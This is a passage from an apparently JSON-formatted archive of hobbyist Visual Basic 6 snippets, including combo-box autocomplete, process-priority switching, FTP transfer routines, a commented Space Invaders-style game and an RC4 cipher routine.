blnCaseSensitive is overridden _\nwith a true value, then it will consider case in the comparison.\nDim lngItemNum As Long, lngSelectedLength As Long, lngMatchIndex As Long\nDim strSearchText As String, strCurrentText As String\n'Check for empty control, and abort if found\nIf cboCurrent.Text = \"\" Then Exit Sub\n'Set up initial values for search\nlngMatchIndex = -1\nstrSearchText = cboCurrent.Text\nIf Not blnCaseSensitive Then strSearchText = UCase(strSearchText)\nlngSelectedLength = Len(strSearchText)\n'Search all items for first match\nFor lngItemNum = 0 To cboCurrent.ListCount - 1\n strCurrentText = Mid(cboCurrent.List(lngItemNum), 1, lngSelectedLength)\n If Not blnCaseSensitive Then strCurrentText = UCase(strCurrentText)\n \n 'If a match is found, record it and abort loop\n If strSearchText = strCurrentText Then\n lngMatchIndex = lngItemNum\n Exit For\n End If\nNext lngItemNum\n'If a match was found, select it and highlight the \"filled in\" text\nIf lngMatchIndex >= 0 Then\n cboCurrent.ListIndex = lngMatchIndex\n cboCurrent.SelStart = lngSelectedLength\n cboCurrent.SelLength = Len(cboCurrent.List(cboCurrent.ListIndex)) - lngSelectedLength\nEnd If\nEnd Sub"},{"WorldId":1,"id":1683,"LineNumber":1,"line":"Sub ChangePriority(dwPriorityClass As Long)\n Dim hProcess&\n Dim ret&, pid&\n pid = GetCurrentProcessId() ' get my proccess id\n ' get a handle to the process\n hProcess = OpenProcess(PROCESS_DUP_HANDLE, True, pid)\n If hProcess = 0 Then\n Err.Raise 2, \"ChangePriority\", \"Unable to open the source process\"\n Exit Sub\n End If\n ' change the priority\n ret = SetPriorityClass(hProcess, dwPriorityClass)\n ' Close the source process handle\n Call CloseHandle(hProcess)\n If ret = 0 Then\n Err.Raise 4, \"ChangePriority\", \"Unable to close source handle\"\n Exit Sub\n End If\nEnd Sub\nPrivate Sub Form_Load()\n Timer1.Interval = 2000\n Call Timer1_Timer\nEnd Sub\nPrivate Sub Timer1_Timer()\n Static Priority&\n If Priority = IDLE_PRIORITY_CLASS Then\n Priority = HIGH_PRIORITY_CLASS\n Label1.Caption = \"HIGH priority\"\n Else\n Label1.Caption = \"IDLE priority\"\n Priority = IDLE_PRIORITY_CLASS\n End If\n Call ChangePriority(Priority)\nEnd Sub\n"},{"WorldId":1,"id":1698,"LineNumber":1,"line":"' Dim Inet1 As New InetCtlsObjects.Inet\nDim FTPHostname As String\nDim Response As String\nPublic Sub writefile(pathname As String, filename As String, IPaddress As String)\n'note ..your ip addres specified should be that of an anonymous FTP Server.\n'otherwise use ftp://ftp.microsoft.com kind of syntax\n FTPLogin\n FTPHostname = IPaddress\n Inet1.Execute FTPHostname, \"PUT \" & pathname & filename & \" /\" & filename\n Do While Inet1.StillExecuting\n DoEvents\n Loop\n Exit Sub\nEnd Sub\nPublic Sub getfile(pathname As String, filename As String, IPaddress As String)\n'note ..your ip addres specified should be that of an anonymous FTP Server.\n'otherwise use ftp://ftp.microsoft.com kind of syntax\n FTPLogin\n FTPHostname = IPaddress\n Inet1.Execute FTPHostname, \"GET \" & filename & \" \" & pathname & filename\n Do While Inet1.StillExecuting\n DoEvents\n Loop\n Exit Sub\nEnd Sub\nPrivate Sub FTPLogin()\nWith Inet1\n.Password = \"Pass\"\n.UserName = \"Anonymous\"\nEnd With\nEnd Sub"},{"WorldId":1,"id":1724,"LineNumber":1,"line":"'The procedure that runs after Form_Load.It\n'It is used to give starting values to all\n'the variables that must be reset every\n'time a new level begins\nPrivate Sub Form_Activate()\n'Set starting values for the movement of each row\n'of aliens.All the aliens in one row move towards\n'the same direction and change direction when the\n'far right or far left alien hits the edge of the\n'form.This is why killing the aliens on the far\n'right and far left slows down their vertical movement\n'start the background midi.\nMi1 = \"LEFT\"\nMi2 = \"RIGHT\"\nMi3 = \"LEFT\"\nMi4 = \"RIGHT\"\nMi5 = \"LEFT\"\nTimer1.Enabled = True\nCls\ndead = 0\nForm1.KeyPreview = True\nRandomize\n'This code sets the coordinates,velocity\n'and size of the 30 small circles that\n'contantly move on the background.\n For i = 1 To 30\n x(i) = Int(Form1.Width * Rnd)\n Y(i) = Int(Form1.Height * Rnd)\n pace(i) = Int(500 - (Int(Rnd * 499)))\n size(i) = 14 - (13 * Rnd)\n Next\n'Set starting values for the coordinates\n'of the spaceship sprite\n x2 = 3760\n y2 = 5600\n'Set starting values for the coordinates of\n'the 15 aliens.The syntax\n' For I=1 to N\n' X=(Container.Width * (N-I)/N)-(Control.Width/2)\n' Next\n'can be used to horizontaly center N identical\n'controls in a container (Form,picture box etc)\n xi1 = (Form1.Width / 2) - (sprINVADER5.Width / 2)\n yi1 = 1000\n For i = 1 To 2\n yi2(i) = yi1 + sprINVADER5.Height + 50\n Next\n xi2(1) = (Form1.Width / 2) - (Form1.Width / 8) - (sprINVADER5.Width / 2)\n xi2(2) = (Form1.Width / 2) + (Form1.Width / 8) - (sprINVADER5.Width / 2)\n For i = 1 To 3\n yi3(i) = yi2(1) + sprINVADER5.Height + 50\n xi3(i) = ((Form1.Width * (4 - i) / 4) - (sprINVADER5.Width / 2))\n Next\n For i = 1 To 4\n yi4(i) = yi3(1) + sprINVADER5.Height + 200\n xi4(i) = ((Form1.Width * (5 - i) / 5) - (sprINVADER5.Width) / 2)\n Next\n For i = 1 To 5\n yi5(i) = yi4(1) + sprINVADER5.Height + 300\n xi5(i) = ((Form1.Width * (6 - i) / 6) - (sprINVADER5.Width) / 2)\n Next\nEnd Sub\n'The procedure that would normally run when\n'the user hits the cursor keys or the space bar\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nSelect Case KeyCode\nCase vbKeySpace\nCall fire\nCase vbKeyLeft\nmovement = \"Left\"\nCase vbKeyRight\nmovement = \"Right\"\nCase Else\nmovement = \"\"\nEnd Select\nEnd Sub\n'This procedure is here in case you click the X\n'button on the upper right of the form instead\n'of the exit button.It makes sure that the text\n'file closes before the application ends\nPrivate Sub Form_Unload(Cancel As Integer)\ncmdExit_Click\nEnd Sub\n'The procedure that executes every 0,001 sec and\n'controls just about everything goes on in the\n'game.The general idea is that event procedures all\n'all around the project alter the values of FLAG\n'variables like BOOM,SHOT,X2 etc and this procedure\n'uses those values to do whatever the event is about.\nPrivate Sub Timer1_Timer()\n'---------------------------------------\n'Check if the top alien has crushed on the ship\nIf (y2 - (yi1 + sprINVADER5.Height)) < -100 And Abs((xi1 + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\n'and if so\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\n'halt everything (Timer1.Enabled=false),\n'paint the 6 frames of the explosion on the good\n'guy ( that is now a dead good guy) and start over\n'a new level (Form_Activate)\nEnd If\n'Check if an alien from the second row has crushed\n'on the ship\nFor i = 1 To 2\nIf (y2 - (yi2(i) + sprINVADER5.Height)) < -100 And Abs((xi2(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'Check if an alien from the 3rd row has crushed\n'on the ship\nFor i = 1 To 3\nIf (y2 - (yi3(i) + sprINVADER5.Height)) < -100 And Abs((xi3(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'Check if an alien from the 4th row has crushed\n'on the ship\nFor i = 1 To 4\nIf (y2 - (yi4(i) + sprINVADER5.Height)) < -100 And Abs((xi4(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'Check if an alien from the lower row has crushed\n'on the ship\nFor i = 1 To 5\nIf (y2 - (yi5(i) + sprINVADER5.Height)) < -100 And Abs((xi5(i) + (sprINVADER5.Width / 2)) - (x2 + sprSHIP.Width / 2)) < (sprINVADER5.Width / 2) Then\nTimer1.Enabled = False\nFor q = 1 To 6\nPaintPicture imgKABOOM(q).Picture, x2 + 600, y2\nFor l = 1 To 100000: Next\nNext\nForm_Activate\nEnd If\nNext\n'If alien #1 is not dead...\nSelect Case kill(1)\nCase False\nSelect Case xi1\nCase Is > -230\n'and he's on the visible part of the Form\n'** (when an alien is shot,his X coordinate is given\n' a very low value (-5000) so that if by any\n' chance his sprite is painted on the form,you wont\n' see him)\nSelect Case Mi1\n'Then move him towards the direction that the\n'Mi1 variable points out\nCase \"LEFT\"\nxi1 = xi1 - 200\nIf xi1 < 0 Then Mi1 = \"RIGHT\": yi1 = yi1 + 155\nCase \"RIGHT\"\nxi1 = xi1 + 200\nIf xi1 > Form1.Width - sprINVADER5.Width Then Mi1 = \"LEFT\": yi1 = yi1 + 155\nEnd Select\nEnd Select\nEnd Select\n'Move the 2nd row aliens\nSelect Case Mi2\nCase \"LEFT\"\nIf kill(2) = False And xi2(1) > 100 Then xi2(1) = xi2(1) - 200\nIf kill(3) = False And xi2(2) > 100 Then xi2(2) = xi2(2) - 200\n'** (only if they're alive...)\nIf xi2(1) < 200 And kill(2) = False And xi2(1) > -100 Then\nMi2 = \"RIGHT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\nIf xi2(2) < 200 And kill(3) = False And xi2(2) > -100 Then\nMi2 = \"RIGHT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\nGoTo 2\nCase \"RIGHT\"\nIf kill(2) = False And xi2(1) > -100 And xi2(1) < (Form1.Width - sprINVADER5.Width) Then xi2(1) = xi2(1) + 200\nIf kill(3) = False And xi2(2) > -100 And xi2(2) < (Form1.Width - sprINVADER5.Width) Then xi2(2) = xi2(2) + 200\nIf xi2(1) > (Form1.Width - sprINVADER5.Width) And kill(2) = False Then\nMi2 = \"LEFT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\nIf xi2(2) > (Form1.Width - sprINVADER5.Width) And kill(3) = False Then\nMi2 = \"LEFT\"\nFor q = 1 To 2\nIf boom = True And xinv = xi2(q) Then Exit For\nyi2(q) = yi2(q) + 155\nNext\nEnd If\n2 End Select\n'Move the third row aliens\nSelect Case Mi3\nCase \"LEFT\"\nFor i = 1 To 3\nIf kill(i + 3) = False And xi3(i) > 100 Then xi3(i) = xi3(i) - 200\nIf xi3(i) < 200 And kill(3 + i) = False And xi3(i) > -100 Then\nMi3 = \"RIGHT\"\nFor q = 1 To 3\nIf boom = True And xinv = xi3(q) Then Exit For\nyi3(q) = yi3(q) + 155\nNext\nEnd If\nNext\nGoTo 3\nCase \"RIGHT\"\nFor i = 1 To 3\nIf kill(3 + i) = False And xi3(i) > -100 And xi3(i) < (Form1.Width - sprINVADER5.Width) Then xi3(i) = xi3(i) + 200\nIf xi3(i) > (Form1.Width - sprINVADER5.Width) And kill(3 + i) = False Then\nMi3 = \"LEFT\"\nFor q = 1 To 3\nIf boom = True And xinv = xi3(q) Then Exit For\nyi3(q) = yi3(q) + 155\nNext\nEnd If\nNext\n3 End Select\n'Move the fourth row aliens\nSelect Case Mi4\nCase \"LEFT\"\nFor i = 1 To 4\nIf kill(6 + i) = False And xi4(i) > 100 Then xi4(i) = xi4(i) - 200\nIf xi4(i) < 200 And kill(6 + i) = False And xi4(i) > -100 Then\nMi4 = \"RIGHT\"\nFor q = 1 To 4\nIf boom = True And xinv = xi4(q) Then Exit For\nyi4(q) = yi4(q) + 155\nNext\nEnd If\nNext\nGoTo 4\nCase \"RIGHT\"\nFor i = 1 To 4\nIf kill(6 + i) = False And xi4(i) > -100 And xi4(i) < (Form1.Width - sprINVADER5.Width) Then xi4(i) = xi4(i) + 200\nIf xi4(i) > (Form1.Width - sprINVADER5.Width) And kill(6 + i) = False Then\nMi4 = \"LEFT\"\nFor q = 1 To 4\nIf boom = True And xinv = xi4(q) Then Exit For\nyi4(q) = yi4(q) + 155\nNext\nEnd If\nNext\n4 End Select\n'Move the 5th row aliens\nSelect Case Mi5\nCase \"LEFT\"\nFor i = 1 To 5\nIf kill(10 + i) = False And xi5(i) > 100 Then xi5(i) = xi5(i) - 200\nIf xi5(i) < 200 And kill(10 + i) = False And xi5(i) > -100 Then\nMi5 = \"RIGHT\"\nFor q = 1 To 5\nIf boom = True And xinv = xi5(q) Then Exit For\nyi5(q) = yi5(q) + 155\nNext\nEnd If\nNext\nGoTo 5\nCase \"RIGHT\"\nFor i = 1 To 5\nIf kill(10 + i) = False And xi5(i) > -100 And xi5(i) < (Form1.Width - sprINVADER5.Width) Then xi5(i) = xi5(i) + 200\nIf xi5(i) > (Form1.Width - sprINVADER5.Width) And kill(10 + i) = False Then\nMi5 = \"LEFT\"\nFor q = 1 To 5\nIf boom = True And xinv = xi5(q) Then Exit For\nyi5(q) = yi5(q) + 155\nNext\nEnd If\nNext\n5 End Select\n'If the good guy killed 15 aliens,start\n'a new level by calling the Form_Activate procedure\nSelect Case dead\nCase 15\ndead = 0: Cls\nCall Form_Activate\nEnd Select\n'If there is an explosion going on somewhere on the\n'form (Boom=true) then paint the correct frame of\n'it (the variable Explosion represents the number\n'of the frame that must be currently painted)\nSelect Case boom\nCase True\nSelect Case explosion\nCase 1\n'If the explosion has just started (explosion=1)\n'then don't paint any frame of it,just erase the\n'alien that has been shot by painting the label\n'lblBlank on him.\n'lnlBlank is a black label used every now and then\n'to erase something from the form.It's Left and\n'Top properties have been assigned the X and Y\n'coordinates of the alien that's being killed\n'as you read these lines.This was done from the\n'Kaboom procedure,where the Boom variable was\n'assigned the value True and the whole explosion\n'buisness began\nlblBlank.Visible = True\nlblBlank.Visible = False\nCase Is <> 1\n'If the explosion has already started before the\n'current timer event then paint the current frame\n'of the explosion on the alien that was just killed.\n'Xinv and Yinv are the coordinates of the alien\n'that get's his butt kicked every time the good\n'guy hits bullseye.\nSelect Case xinv\nCase xi1\nPaintPicture imgKABOOM(explosion).Picture, xi1, yi1 - 100\nCase xi2(1)\nPaintPicture imgKABOOM(explosion).Picture, xi2(1) + 200, yi2(1) - 100\nCase xi2(2)\nPaintPicture imgKABOOM(explosion).Picture, xi2(2) + 200, yi2(2) - 100\nCase xi3(1)\nPaintPicture imgKABOOM(explosion).Picture, xi3(1) + 150, yi3(1) - 100\nCase xi3(2)\nPaintPicture imgKABOOM(explosion).Picture, xi3(2) + 150, yi3(2) - 100\nCase xi3(3)\nPaintPicture imgKABOOM(explosion).Picture, xi3(3) + 150, yi3(3) - 100\nCase xi4(1)\nPaintPicture imgKABOOM(explosion).Picture, xi4(1) - 30, yi4(1) - 100\nCase xi4(2)\nPaintPicture imgKABOOM(explosion).Picture, xi4(2) - 30, yi4(2) - 100\nCase xi4(3)\nPaintPicture imgKABOOM(explosion).Picture, xi4(3) - 30, yi4(3) - 100\nCase xi4(4)\nPaintPicture imgKABOOM(explosion).Picture, xi4(4) - 30, yi4(4) - 100\nCase xi5(1)\nPaintPicture imgKABOOM(explosion).Picture, xi5(1) - 30, yi5(1) - 100\nCase xi5(2)\nPaintPicture imgKABOOM(explosion).Picture, xi5(2) - 30, yi5(2) - 100\nCase xi5(3)\nPaintPicture imgKABOOM(explosion).Picture, xi5(3) - 30, yi5(3) - 100\nCase xi5(4)\nPaintPicture imgKABOOM(explosion).Picture, xi5(4) - 30, yi5(4) - 100\nCase xi5(5)\nPaintPicture imgKABOOM(explosion).Picture, xi5(5) - 30, yi5(5) - 100\nEnd Select\nEnd Select\n'Add 1 to the value of Explosion so that a new frame\n'of it will be painted in the next timer event\nexplosion = explosion + 1\nSelect Case explosion\nCase 7\n'if all the frames of the explosion have been painted\n'then the alien whose coordinates are the same\n'with the values of Xinv and Yinv is officialy dead\n'and the fun ends (Boom=false)\nexplosion = 0\nboom = False\nIf YouDied = True Then Form_Activate\n'Let's see that score increase...\nscore = score + 1000\n'Onother one bites the dust.(15-dead) to go\ndead = dead + 1\n'paint the blank label on the exact spot where\n'the explosion frames were painted incase there\n'is some smoke left floating there.\n'**(There is still a little bug and sometimes\n' (the smoke remains there.Oh well...)\nlblBlank.Left = xinv\nlblBlank.Top = yinv - 100\nlblBlank.Visible = True\nlblBlank.Visible = False\n'If an alien was just killed,then give his X coordinate\n'a very low value (-5000) so that he wont be visible\n'on the form\nIf kill(1) = True Then xi1 = -5000: kill(1) = False\nFor i = 1 To 2\nIf kill(i + 1) = True Then xi2(i) = -5000: kill(i + 1) = False: Exit For\nNext\nFor i = 1 To 3\nIf kill(3 + i) = True Then xi3(i) = -5000: kill(3 + i) = False: Exit For\nNext\nIf kill(7) = True Then xi4(1) = -5000: kill(7) = False\nIf kill(8) = True Then xi4(2) = -5000:: kill(8) = False\nIf kill(9) = True Then xi4(3) = -5000: kill(9) = False\nIf kill(10) = True Then xi4(4) = -5000: kill(10) = False\nFor i = 1 To 5\nIf kill(10 + i) = True Then xi5(i) = -5000: kill(10 + i) = False\nNext\nEnd Select\nCase False\nEnd Select\n'If the good guy has just fired his blaster,draw\n'a line .The upper bound is determined by how\n'high the alien that will be killed is.(if this\n'shot wont kill an alien then it will go all the\n'way up to the upper edge of the form).In fact\n'each time the good guy shoots ,3 lines are drawn\n'one after the other on the exact same spot and\n'with the exact same length.The first is either\n'blue or white,the second is either white or\n'blue and the third is black so that\n'the \"shot ring\" will be erased.This is how the\n'cool \"laser blaster\" effect is done\nSelect Case shot\nCase 1\nLine (xshot, y2)-(xshot, upper), COL2\nshot = 2\nCase 2\nLine (xshot, y2)-(xshot, upper), BackColor\nshot = 0\nEnd Select\n'Move the spaceship according to the value of the\n'variable Movement.As in most shoot'em up games,the\n'ship continues moving towards the direction it has\n'been last guided to until it meets the edge of the\n'form or onother direction is given.Normally this\n'would be done by the user hitting a cursor key\n'but in this demo it's done by inputing a new\n'keyword command from the file DEMO.DAT\nSelect Case movement\nCase \"Left\"\nx2 = x2 - 210\nIf x2 < -320 Then x2 = -320\nPaintPicture sprSHIP.Picture, x2, y2\nCase \"Right\"\nx2 = x2 + 210\nIf x2 > Form1.Width - 1700 Then x2 = Form1.Width - 1700\nPaintPicture sprSHIP.Picture, x2, y2\nEnd Select\n'Move the star field that's on the background.\nFor i = 1 To 30\nCircle (x(i), Y(i)), size(i), BackColor\nY(i) = Y(i) + pace(i)\n'If a star reaches the bottom of the form then\n'it is assigned a new X coordinate and in the next\n'timer event it will start falling again ( Y(i)=0)\nIf Y(i) >= Form1.Height Then Y(i) = 0: x(i) = Int(Form1.Width * Rnd)\nSelect Case pace(i)\n'There are 30 circles of various sizes.Each one\n'moves with a different speed and according to his\n'speed it is painted with a different shade of grey.\n'Stars that move slow are painted almost black 'cause\n'they are located deep in space.The ones that move\n'quick are almost white because they zip by near\n'the camera,they're also bigger than then slow ones.\nCase Is <= 200\nclr = &H404040\nCase Is <= 300\nclr = &H808080\nCase Is <= 400\nclr = &HC0C0C0\nCase Else\nclr = &HFFFFFF\nEnd Select\nCircle (x(i), Y(i)), size(i), clr\nNext\n'Paint the good guy\nPaintPicture sprSHIP.Picture, x2, y2\n'Paint the aliens that are not dead,in other\n'words the ones for whom Kill(#of alien)=false\n'Remember 1<= #of alien <=15\nIf kill(1) = False Then PaintPicture sprINVADER5.Picture, xi1, yi1\nFor i = 1 To 2\nIf kill(1 + i) = False Then PaintPicture sprINVADER5.Picture, xi2(i), yi2(i)\nNext\nFor i = 1 To 3\nIf kill(3 + i) = False Then PaintPicture sprINVADER5.Picture, xi3(i), yi3(i)\nNext\nFor i = 1 To 4\nIf kill(6 + i) = False Then PaintPicture sprINVADER5.Picture, xi4(i), yi4(i)\nNext\nFor i = 1 To 5\nIf kill(10 + i) = False Then PaintPicture sprINVADER5.Picture, xi5(i), yi5(i)\nNext\nEnd Sub\n'Pull that trigger...\nPrivate Sub fire()\nSelect Case boom\nCase True\nExit Sub\n'...but if an explosion is going on,don't fire,\n'there's no need to waste ammo\nEnd Select\nupper = 1000\nSelect Case shot\nCase Is <> 0\n'Also if the previous shot hasn't yet been painted\n'in all of it's 3 colors,don't fire onother one\nExit Sub\nEnd Select\nshot = 1\n'Play the sound fx using API's\nxshot = x2 + 1062\n'Xshot is the X coordinate of the laser beem.The\n'weapon of the ship is in the middle,so it's\n'Xshot = x2 + 1062 (x2 is the X coordinate of the ship)\n'Keep in mind that the sprite has a lot of space\n'in each side of the actual ship otherwise it would\n'leave trails on the form when it moves\n'\n'Check if the Xshot is anywhere near an alien\n'and \"kill\" him if so ( kill(#of alien)=True).He\n'may not yet be officialy dead since the\n'explosion hasn't been painted on him,but that's\n'a matter of milliseconds if his KILL array element\n'is set to True.\nIf Abs(xi1 + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 4) Then kill(1) = True Else kill(1) = False\nIf Abs(xi2(1) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 3) Then kill(2) = True Else kill(2) = False\nIf Abs(xi2(2) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 3) Then kill(3) = True Else kill(3) = False\nFor i = 1 To 3\nIf Abs(xi3(i) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 2) Then kill(3 + i) = True: Exit For Else kill(3 + i) = False\nNext\nFor i = 1 To 4\nIf Abs(xi4(i) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 2) Then kill(6 + i) = True: Exit For Else kill(6 + i) = False\nNext\nFor i = 1 To 5\nIf Abs(xi5(i) + (sprINVADER5.Width / 2) - xshot) < (sprINVADER5.Width / 3) Then kill(10 + i) = True: Exit For Else kill(10 + i) = False\nNext\nIf kill(1) = True Then xinv = xi1: yinv = yi1: upper = yi1: Call kaboom\nIf kill(2) = True Then xinv = xi2(1): yinv = yi2(1): upper = yi2(1): Call kaboom:\nIf kill(3) = True Then xinv = xi2(2): yinv = yi2(2): upper = yi2(2): Call kaboom:\nFor i = 1 To 3\nIf kill(i + 3) = True Then xinv = xi3(i): yinv = yi3(i): upper = yi3(i): Call kaboom:\nNext\nFor i = 1 To 4\nIf kill(6 + i) = True Then xinv = xi4(i): yinv = yi4(i): upper = yi4(i): Call kaboom:\nNext\nFor i = 1 To 5\nIf kill(10 + i) = True Then xinv = xi5(i): yinv = yi5(i): upper = yi5(i): Call kaboom:\nNext\naa = 0\n'Check if the shot \"killed\" some more aliens\n'that were above the unlucky one and \"ressurect\"\n'them since laser blasters don't go through\n'metal.Only railguns in Quake2...\nFor i = 15 To 1 Step -1\nIf kill(i) = True Then aa = i: Exit For\nNext\nFor i = 1 To 15\nIf i <> aa Then kill(i) = False\nNext\n11 Line (x2 + 1062, y2)-(xshot, upper), BackColor\n'Randomly choose a color for the first of three\n'laser beems ...\nD = Int(2 * Rnd)\nSelect Case D\nCase 0\nCOL1 = &HFFFFFF\nCOL2 = &HFF0000\nCase Else\nCOL1 = &HFF0000\nCOL2 = &HFFFFFF\nEnd Select\n'and paint it...If this one was blue,the second will\n'be white and vise versa.The third is always the\n'black one that \"erases\" the trail of the shot\nLine (x2 + 1062, y2)-(x2 + 1062, upper), COL1\nEnd Sub\n'The procedure that runs everytime you shoot an alien.\n'He still has no idea what's in store for him but\n'these lines of code will fix him up good\nPrivate Sub kaboom()\n'Place the blank label on the unlucky alien so that\n'he's erased on the next timer event,before the\n'frames of the explosion start showing\nlblBlank.Top = yinv\nlblBlank.Left = xinv\nboom = True\n'...and start the fun by setting the Explosion variable\n'to 1.In the next timer event a beautiful explosion\n'will go off on an ugly alien's face\nexplosion = 1\nEnd Sub"},{"WorldId":1,"id":1728,"LineNumber":1,"line":"Dim States(4) As Com ' initialize the command/reply array\nDim State As Integer ' tells where in the commucation process we are\nDim Total As Long ' Total data to recieve\nDim Current As Long ' Current data recieved\nDim Old As Long ' a timer1 data value\nDim server as string\ndim Username as String\ndim password as string\ndim LocalFile as String\ndim remotefile as string\nPrivate Sub Command1_Click()\nServer = \"ftp.microsoft.com\"\nUsername = \"anonymous\"\nPassword = \"guest\"\nLocalFile = \"c:\\vbrun60.exe\"\nRemotefile = \"/Softlib/MSLFILES/VBRUN60.EXE\"\nStates(0).BackCode = \"220\" ' this is the welcome message from server\nStates(0).Command = \"USER \" + username ' logges in.\nStates(1).BackCode = \"331\" ' \"Username ok. Need password\" from server\nStates(1).Command = \"PASS \" + password ' send the password\nStates(2).BackCode = \"230\" ' \"Access allowed\" massage from server\nStates(2).Command = \"TYPE I\" ' Sets the type\nStates(3).BackCode = \"200\" ' \"TYPE I OK\" from server\nStates(3).Command = \"PORT \" ' Port command (enhanced features command button click.\"\nStates(4).BackCode = \"200\" ' On port OK\nStates(4).Command = \"RETR \" + remotefile ' send request for file\nWinsock1.Close\nWinsock2.Close\nDo Until Winsock1.State = 0 And Winsock2.State = 0\nDoEvents\nLoop\nWinsock1.RemoteHost = Server\nWinsock1.RemotePort = 21\nDim nr1 As Long\nDim nr2 As Long\nRandomize Timer\nnr1 = Int(Rnd * 126) + 1\nnr2 = Int(Rnd * 255) + 1\nWinsock2.LocalPort = (nr1 * 256) + nr2\nDim IP As String\nIP = Winsock2.LocalIP\nDo Until InStr(IP, \".\") = 0\nIP = Left(IP, InStr(IP, \".\") - 1) + \",\" + Right(IP, Len(IP) - InStr(IP, \".\"))\nLoop\nStates(3).Command = \"PORT \" + IP + \",\" + Trim(Str(nr1)) + \",\" + Trim(Str(nr2))\nWinsock2.Listen\nWinsock1.Connect\nOpen localfile For Output As #1\nEnd Sub\nPrivate Sub Timer1_Timer() ' status timer (calculates speed and elabsed time.)\nDim Left As Long\nLabel2 = Trim(Str((Current - Old) / 512)) + \" KB/s\"\nIf (Current - Old) > 0 Then\nLeft = Total - Current\nLabel3 = Trim(Str(Left / (Current - Old))) + \" Sec left.\"\nElse\nLabel3 = \"dunno\"\nEnd If\nOld = Current\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' handles the ftp connection\nDim tmpS As String\nWinsock1.GetData tmpS, , bytesTotal\nIf State < 5 Then\nIf Left(tmpS, 3) = States(State).BackCode Then\nWinsock1.SendData States(State).Command + Chr(13) + Chr(10)\nDebug.Print States(State).Command + Chr(13) + Chr(10)\nState = State + 1\nElse\nMsgBox \"Error! \" + Left(tmpS, Len(tmpS) - 2), vbOKOnly + vbCritical, \"FTPget\"\nEnd If\nElseIf State = 6 Then\nTimer1.Enabled = False\nMsgBox \"Done!\", vbOKOnly + vbInformation, \"FTPget\"\nElse\nIf Left(tmpS, 4) = \"150 \" Then\nTotal = Val(Right(tmpS, Len(tmpS) - InStr(tmpS, \"(\")))\nTimer1.Enabled = True\nEnd If\nState = State + 1\nEnd If\nEnd Sub\nPrivate Sub Winsock2_Close() ' handles the data connection\nClose #1\nWinsock1.Close\nEnd Sub\nPrivate Sub Winsock2_ConnectionRequest(ByVal requestID As Long)\nWinsock2.Close\nDo Until Winsock2.State = 0\nDoEvents\nLoop\nWinsock2.Accept requestID\nEnd Sub\nPrivate Sub Winsock2_DataArrival(ByVal bytesTotal As Long)\nDim tmpS As String\nWinsock2.GetData tmpS, , bytesTotal\nPrint #1, tmpS;\nCurrent = Current + Len(tmpS)\nLabel1 = Trim(Str(Current)) + \" / \" + Trim(Str(Total))\nEnd Sub\nPrivate Sub Form_Load()\nTimer1.Enabled = False\nTimer1.Interval = 500\nEnd Sub\n"},{"WorldId":1,"id":1732,"LineNumber":1,"line":"Public Function OpenFile(ByVal file As String) As String\n Dim i As Integer\n i = FreeFile\n Open file For Input As #i\n OpenFile = Input(LOF(i), i)\n Close #i\nEnd Function"},{"WorldId":1,"id":1736,"LineNumber":1,"line":"Option Explicit\nDim s(0 To 255) As Integer 'S-Box\nDim kep(0 To 255) As Integer\nDim i As Integer, j As Integer\n'For the file actions\nDim path As String\n\nPublic Sub RC4ini(Pwd As String)\n\n Dim temp As Integer, a As Integer, b As Integer\n 'Save Password in Byte-Array\n b = 0\n\n For a = 0 To 255\n b = b + 1\n\n If b > Len(Pwd) Then\n b = 1\n End If\n kep(a) = Asc(Mid$(Pwd, b, 1))\n Next a\n 'INI S-Box\n\n For a = 0 To 255\n s(a) = a\n Next a\n b = 0\n\n For a = 0 To 255\n b = (b + s(a) + kep(a)) Mod 256\n ' Swap( S(i),S(j) )\n temp = s(a)\n s(a) = s(b)\n s(b) = temp\n Next a\nEnd Sub\n\n'Only use this routine for short texts\nPublic Function EnDeCrypt(plaintxt As Variant) As Variant\nDim temp As Integer, a As Long, i As Integer, j As Integer, k As Integer\nDim cipherby As Byte, cipher As Variant\n\n For a = 1 To Len(plaintxt)\n i = (i + 1) Mod 256\n j = (j + s(i)) Mod 256\n ' Swap( S(i),S(j) )\n temp = s(i)\n s(i) = s(j)\n s(j) = temp\n 'Generate Keybyte k\n k = s((s(i) + s(j)) Mod 256)\n 'Plaintextbyte xor Keybyte\n cipherby = Asc(Mid$(plaintxt, a, 1)) Xor k\n cipher = cipher & Chr(cipherby)\n Next a\n EnDeCrypt = cipher\nEnd Function\n'Use this routine for really huge files\nPublic Function EnDeCryptSingle(plainbyte As Byte) As Byte\nDim temp As Integer, k As Integer\nDim cipherby As Byte\n \n i = (i + 1) Mod 256\n j = (j + s(i)) Mod 256\n ' Swap( S(i),S(j) )\n 